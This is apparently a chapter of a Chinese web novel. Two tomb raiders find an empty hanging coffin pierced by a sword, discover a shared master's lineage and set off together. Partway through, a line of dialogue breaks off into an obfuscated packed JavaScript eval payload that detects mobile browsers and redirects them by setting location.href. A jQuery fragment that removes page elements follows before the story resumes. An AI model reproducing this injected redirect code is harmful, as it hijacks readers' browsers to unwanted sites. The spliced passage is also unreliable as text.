91. 棺中仙

作品:《拼凑你的魂灵gb

    目光沉默相击,墓室忽然安静,又不算安静,铁链轻微晃动,水声依旧潺潺,两个人愣愣眨眼,气氛一时有些微妙。


    “你不是姓孟吗?”


    “前朝赐的姓,正经说起来,我应该叫柳寄兰。”


    “国师不是不能娶妻生子吗?”


    “不做国师就可以了,祖宗辞官了。”


    嘶——


    正儿八经的师祖后人,而她刚刚揍了他一顿。


    李玉秀皱眼后仰,手上心虚地松了力道。


    “那个......那你是谁?”


    孟寄兰小声问。


    她故作轻松拔出剑,偏开目光,答:“国师一生授徒无数,我这门祖上就是国师隐居的弟子,本也不是为了下地才学艺的,只是为了生计......”


    “但你的法术......”


    她尴尬笑道:“我还没学会什么术法呢,只是空有一身力气罢了。”


    “别这么说,以你的年纪修出这么强悍的灵力,已经特别强了......”


    误会解开,原来谁都不是贼,而是几代开外十分勉强能称得上是师门的关系,寒暄了两句后,气氛又有些微妙。


    不光李玉秀尴尬,孟寄兰也有些不自在。


    他被蛮力揍了一顿,慌张得什么本事也没使出来,有辱祖宗之名,只感羞愧,但见李玉秀主动去捡起竹节鞭交还给他,他也只能大度地接下这个台阶。


    摸了摸竹节鞭,他抬头看了眼悬棺,轻咳一声,问:“李姑娘,那棺中人......”


    李玉秀也抬头看悬棺,这会既说开了,她也不再轻浮,认真道:“棺里,真的没有人。”


    他们一行人进入这里时,棺盖是封死的,他们也以为里面有宝贝,但被撬开后里头只有几张被撕成碎片的符箓,这些符箓陈旧发黑,不知何时失去了功效,而棺内,只有一把剑。


    孟寄兰靠近悬棺,顺着李玉秀手指的方向看去,悬棺底部有一道贯穿剑痕。


    他问:“剑尖是伸出来的?”


    李玉秀点头,她跳上铁链,慢慢爬进空棺,将锈剑插进了那道剑痕中,在外,孟寄兰看见剑尖伸出,直直挂在水面上方,怪异得像是某种仪式。


    他还是不愿相信,向悬棺倾出半个身子用火折子照亮底部,细细观察。


    棺木是纯黑的,剑上锈也是黑的,但这锈却只锈了一半的剑,所以,黑不代表一定是铁锈。


    还有可能是血。


    他跨过地下河跳到对面,蹲在棺盖旁,照着,抚摸着,棺盖内部有许多道粗糙的痕迹,多到甚至刮去了一部分棺盖表面。


    光线拂过棺盖内部,他忽然头皮发麻。


    有毛刺,是抓痕。


    抓痕位置只在一小片,是人躺在棺中硬生生抓出来的,趴下,鼻尖在抓痕上细细嗅,潮湿水汽之下,有淡淡锈味。


    不,肯定是血。


    皮肤表面瞬间起了一层疙瘩,浑身血液降温,指尖微微颤抖,他脑中嗡声一片。


    抿着唇,他缓缓起身。


    棺里,曾经真的有人,活着的人。


    “棺里是谁?”


    “啊!”


    他被李玉秀吓了一跳。


    顺了口气,他问:“你觉得,倘若有人被关在这里很多很多年还不死,还用秘法逃了出去,这人会是什么样的人?”


    李玉秀疑惑,看看棺盖又看看悬棺和铁链,答:“罪大恶极的人?”


    孟寄兰不满:“怎么就是罪大恶极呢?你知道这条地下河的作用吗?”


    她老实摇头。


    他看向水面,胸膛内隐隐生出一股浓情,解释:“这条河的水会流向四面八方,会浸染整片大地,润泽土地上的所有人......”


    “那又怎样呢?”


    他起身,走到地下河旁,又蹲在弯门边伸手浸入水中,凉,河水很凉,但心反而火热,他对接下来要问的,感到兴奋。


    “你知道这把剑为什么不是平放在棺中,而是要插破棺木露出剑尖吗?”


    她还是摇头。


    他扯起嘴角,将沾了水的手指倒立在水面上,河水从手指滑下,一滴一滴沿着指尖滴落进河中。


    李玉秀睁大眼,看看剑,看看悬棺,不可思议道:“你说棺里有人,插着剑,难不成......”


    他知道,李玉秀看懂了,他忍不住接过话,用力点头:“对!这条河,是将棺里人的血,带去四面八方,带给这片土地,带给所有人!”


    李玉秀张大了嘴,十分诧异。


    他对她的惊讶十分受用,擦手,压下唇,他知道她一定会问的,他等着她的问题。


    快问,快问呀。


    李玉秀在水边走了几个来回,神情纠结似乎在犹豫什么,她看过来,问:“棺中人的血有什么用?”


    她问了!


    孟寄兰等的就是这个问题!


    他再也压不住唇角,双眼放光,朝她激情比划又解释:“护佑大地呀!你不知道,棺中人是天外仙人!仙人见前朝遍地饿殍,百姓生活困苦,自愿封印仙体,散以仙力,福泽万众!”


    兴奋被石壁打回,被水流挟走,李玉秀微微后仰,给他的激动让出位置。


    她似乎不信,眼中并未闪烁想象中的敬意,孟寄兰有些不满:“你不信?”


    李玉秀也不是不信,只是故事太片面,她不敢信。


    “嗯......其实,本门祖上是有过仙人的传说,但在祖师爷的手札中,那只是传说,没有人真的见过仙人......”


    “你胡说!”


    他又气恼了,气恼着气恼着,从他自己的小皮袋子最里层翻出一张小心折起的画像。


    “看!若是没人见过,我太太......爷爷怎么会画出这样一个人?若没有这个人,那这间墓室又是给谁准备的!”


    她想接,但刚伸手孟寄兰就收了回去,她只瞧见一个身穿蓝白,耳边簪了兰花,在月下以扇半遮面的女人。


    画得倒是仙气飘飘,但有没有这个人还真不好说。


    她心中如此想,但见孟寄兰十分崇拜又言之凿凿,扫兴的话倒说不出口了。


    抬头环视,铁链,悬棺,符箓,锈剑,一切看起来都像是给故事中的仙人准备的,倘若棺中真的有人的话。


    但有一个问题。


    她看向孟寄兰,问:“若真有仙人,那你是来做什么的?不会只是看一眼仙人吧?”


    他收起画像,骄傲答:“我太太......爷爷的手札里写了,他受过仙人恩惠,感念仙人,我也崇拜感激,特地来拜一拜,要是能和仙人对话,那我这辈子都值了”


    倒是合情合理。


    李玉秀点头,却也无奈:“但现在没有仙人,会不会是找错地宫了?为了防止像我们这样的人偷盗,你老祖宗会不会故意在手札里写错误的位置?”


    孟寄兰断言:“不可能!祖宗根本就没有写地宫的位置,是我将大兴土木那几年的史书翻遍了,推出来所有地宫可能的位置,挨个找来的,只有这里,只有这里有悬棺,有剑,有穿过墓室的地下河,和祖宗写的一模一样,就是这里不会错!”


    她无奈摊手:“可这里,就是没有仙人呐。我门内流传下来的手札里倒是写了几句仙人的只言片语,但大家都认为是祖师爷杜撰的,没有人当真。”


    提到手札,孟寄兰又来了兴致,问:“你门里的手札上写了什么?”


    “我小时候粗略看了眼......”她仰起头用力回忆,“大概是什么......王上遇仙人,祈福?传授秘术?还有......仙人最后隐居在了哪吧......”


    她摇摇头:“实在记不得了。”


    平淡模糊的回忆像月光做的纱,透过纱面能看见回忆后的种种可能,兴许是他在找的,又兴许与他期盼的毫不相干,但总归是比薄薄的扇面更能勾起人的好奇。


    孟寄兰的心一下子就被勾中了,原本眼中暗淡的希望之光顷刻间亮如星辰。


    他一激动,抓上她的手臂直呼:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334001|193190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “带我去看你门里的手札!”


    两个下了地的人,最后只带了一把生锈的剑,原本李玉秀还想顺一些陪葬品上去,但孟寄兰深觉这是对仙人的不敬,一双眼就盯着她的动作。


    跟着他七钻八钻,再加之术法寻路,他们总算上到了地面。


    是黑夜,月亮胖乎乎的,偶有云雾似轻纱略过却不显朦胧,反而是明亮。


    她仰着头,眼帘微颤。


    天上有好多星星,有聚集在一起隐约成个图样的,也有分散开来互相争个闪的,它们无一例外都在眨眼。


    还有夜风,她嗅了嗅,是若隐若现的桂花味,是初秋,那外头一定有好喝的桂花酒。


    孟寄兰拍走衣裳和头发上的灰土,问:“你底下那些族人怎么办......”


    一回头,李玉秀像个傻子一般,追着天上的星星跑,一边跑还一边傻笑。


    坏了,莫不是要偷溜?


    他赶紧小跑着跟上去,刚要开口却见她停了脚步,而后缓缓下蹲,伸手抚摸着什么。


    眯了眯眼,那只是路边树下一朵普通的黄花,顶多花蕊是红的,他狐疑下蹲,探着脑袋好奇她在做什么。


    她没有做什么,她只是左看看右看看,唇角挂着笑,指尖轻戳着小花,眼里似乎有些痴,就像没见过花一样。


    他好奇问:“你在做什么?”


    她手指一颤,望过来眼含笑意:“看看花,很好看。”


    “好看吗?就是很普通的花啊。”


    “对啊,我也只是个普通人,普通人赏普通的花啊。”


    她笑起来眼弯弯的,眼睛像夜晚倒映星光的湖,明明是个盗墓小贼,说出来的话却有种不合时宜的淳朴。


    孟寄兰挠挠脸,指了指他们爬出来的洞口,又问:“你的族人怎么办?他们死在里面了,你回去怎么交代?”


    “交代?”


    她起身歪着脑袋思考,而后又灿烂笑起来:“那就不交代了呗,做我们这行的,生死有命。”


    “啊,这么豁达吗?”


    她招手示意他跟上,又笑道:“不豁达,难道要苦大仇深吗?还活不活啦?”


    不仅笑,甚至走路蹦蹦跶跶,配上她这身一看就穷兮兮的装扮,一种苦中作乐的乐观油然而生,看着倒叫人怪心疼的。


    孟寄兰犹豫,要不要带她去买身衣裳,毕竟路途遥远,总得穿得舒服......


    路途遥远?


    他好像连他要去哪都不知道。


    “诶等等!”


    他拉住被树上的果子吸引的李玉秀,问:“我们要去哪啊?”


    她眨眨眼,又转转眼珠,道:“当然是我们族人的地盘啊。”


    “那是哪啊?”


    “李家村。”


    “哪个李家村啊?在什么位置?”


    她这会又答不利索了,拍了拍额头转了两圈,又笑了一声:“出来太久,我忘记在哪啦!我只记得大概方位,这可怎么办呀?”


    孟寄兰傻眼,可看她笑出声的模样,他也不禁觉得好笑:“你自己家你还记不得?记不得你怎么出来混的?”


    “跟着族人里出来的呗,你有没有定位罗盘?”


    他一惊:“你怎么知道我有!”


    罗盘只有手掌大小,将血滴入其中再施以口诀,罗盘便能寻找血主人的出生地,只不过孟寄兰没试过这个术法,他也不确定罗盘指的就是正确的方向。


    “错了就错了,大不了从头来过嘛。”


    李玉秀笑眼弯弯,背上剑,当即就要出发。


    孟寄兰觉得她很怪,好像爬出洞后她一直在笑,话也比在地宫要多得多,一只鸟,一片落叶都能吸引她的注意,就像那种几岁的孩童,看见什么都很新鲜。


    他走在她身旁,不禁问道:“你怎么一直在笑,有什么很高兴的事吗?”


    李玉秀转回头,道:“我吗?当然了,你看今天的月亮是不是很胖,像个大胖小子,傻乎乎的,成天就知道乐呵,看着就让人高兴啊。”